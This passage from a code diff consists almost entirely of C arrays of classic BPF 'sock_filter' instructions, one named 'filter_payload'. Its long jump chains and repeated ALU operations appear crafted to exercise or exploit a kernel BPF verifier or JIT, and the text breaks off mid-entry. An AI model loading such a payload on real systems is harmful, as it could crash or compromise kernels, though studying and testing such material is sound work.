.k = 0x00000000, .code = 0x001d, .jt = 0x61, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x60, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x59, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x58, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x57, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x56, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x55, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x54, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x53, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x49, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x45, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x42, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x41, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x40, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x37, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x36, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x35, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x34, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x33, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x32, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x31, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x30, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x29, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x28, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x27, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x26, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x25, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x24, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x23, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x22, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x21, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x20, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x19, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x18, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x17, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x16, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x15, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x14, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x13, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x12, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x11, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x10, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x09, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x08, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x07, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x06, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, +}; + +struct sock_filter filter_payload[] = { + { .k = 0x00000000, .code = 0x0084, .jt = 0xbe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xbd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xbc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xbb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xba, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xb9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xb8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xb7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xb6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xb5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xb4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xb3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xb2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xb1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xb0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xaf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xae, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xad, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xac, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xab, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xaa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xa9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xa8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xa7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xa6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xa5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xa4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xa3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xa2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xa1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xa0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x9f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x9e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x9d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x9c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x9b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x9a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x99, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x98, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x97, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x96, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x95, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x94, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x93, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x92, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x91, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x90, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x8f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x8e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x8d, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x8c, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x8b, .jf = 0x00 }, + { .k = 0x0000008f, .code = 0x0005, .jt = 0x8a, .jf = 0x00 }, + { .k = 0x00000090, .code = 0x0005, .jt = 0x89, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x88, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x87, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x86, .jf = 0x00 }, + { .k = 0x00000093, .code = 0x0005, .jt = 0x85, .jf = 0x00 }, + { .k = 0x000007d7, .code = 0x0005, .jt = 0x84, .jf = 0x00 }, + { .k = 0x000004fb, .code = 0x0005, .jt = 0x83, .jf = 0x00 }, + { .k = 0x000007e1, .code = 0x0005, .jt = 0x82, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x81, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x80, .jf = 0x00 }, + { .k = 0x00000094, .code = 0x0005, .jt = 0x7f, .jf = 0x00 }, + { .k = 0x00000202, .code = 0x0005, .jt = 0x7e, .jf = 0x00 }, + { .k = 0x00000213, .code = 0x0005, .jt = 0x7d, .jf = 0x00 }, + { .k = 0x000007e2, .code = 0x0005, .jt = 0x7c, .jf = 0x00 }, + { .k = 0x00000093, .code = 0x0005, .jt = 0x7b, .jf = 0x00 }, + { .k = 0x000007d4, .code = 0x0005, .jt = 0x7a, .jf = 0x00 }, + { .k = 0x00000267, .code = 0x0005, .jt = 0x79, .jf = 0x00 }, + { .k = 0x000007ea, .code = 0x0005, .jt = 0x78, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x77, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x76, .jf = 0x00 }, + { .k = 0x00000094, .code = 0x0005, .jt = 0x75, .jf = 0x00 }, + { .k = 0x000001ff, .code = 0x0005, .jt = 0x74, .jf = 0x00 }, + { .k = 0x0000022b, .code = 0x0005, .jt = 0x73, .jf = 0x00 }, + { .k = 0x000007e1, .code = 0x0005, .jt = 0x72, .jf = 0x00 }, + { .k = 0x00000093, .code = 0x0005, .jt = 0x71, .jf = 0x00 }, + { .k = 0x000007d2, .code = 0x0005, .jt = 0x70, .jf = 0x00 }, + { .k = 0x00000712, .code = 0x0005, .jt = 0x6f, .jf = 0x00 }, + { .k = 0x000007e3, .code = 0x0005, .jt = 0x6e, .jf = 0x00 }, + { .k = 0x00000091, .code = 0x0005, .jt = 0x6d, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x6c, .jf = 0x00 }, + { .k = 0x00000094, .code = 0x0005, .jt = 0x6b, .jf = 0x00 }, + { .k = 0x000001fc, .code = 0x0005, .jt = 0x6a, .jf = 0x00 }, + { .k = 0x00000243, .code = 0x0005, .jt = 0x69, .jf = 0x00 }, + { .k = 0x000007e0, .code = 0x0005, .jt = 0x68, .jf = 0x00 }, + { .k = 0x00000093, .code = 0x0005, .jt = 0x67, .jf = 0x00 }, + { .k = 0x000007d1, .code = 0x0005, .jt = 0x66, .jf = 0x00 }, + { .k = 0x0000077f, .code = 0x0005, .jt = 0x65, .jf = 0x00 }, + { .k = 0x000007dd, .code = 0x0005, .jt = 0x64, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x63, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x62, .jf = 0x00 }, + { .k = 0x00000092, .code = 0x0005, .jt = 0x61, .jf = 0x00 }, + { .k = 0x00000094, .code = 0x0005, .jt = 0x60, .jf = 0x00 }, + { .k = 0x0000058e, .code = 0x0005, .jt = 0x5f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x5e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, 